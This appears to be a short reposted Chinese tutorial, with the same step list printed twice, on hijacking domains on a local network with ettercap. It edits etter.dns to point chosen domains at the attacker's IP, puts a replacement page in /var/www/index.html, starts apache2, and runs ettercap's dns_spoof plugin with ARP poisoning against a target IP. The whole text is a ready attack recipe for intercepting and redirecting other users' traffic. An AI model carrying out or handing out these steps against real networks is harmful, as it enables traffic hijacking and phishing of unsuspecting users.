1,確定局域網ip
2,修改/etc/ettercap/etter.dns 添加自己的ip和劫持域名
3,/var/www/index.html (修改html页面替换被劫持的网站页面)
4,啓動apache2 /etc/init.d/apache2 start 启动apache服务器
5,ettercap -G
選擇plugins >dns_spoof
Mitm >arp >sniff (arp欺骗,不要忘了添加你要攻击的目标ip)
1,確定局域網ip
2,修改/etc/ettercap/etter.dns 添加自己的ip和劫持域名
3,/var/www/index.html (修改html页面替换被劫持的网站页面)
4,啓動apache2 /etc/init.d/apache2 start 启动apache服务器
5,ettercap -G
選擇plugins >dns_spoof
Mitm >arp >sniff (arp欺骗,不要忘了添加你要攻击的目标ip)
本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。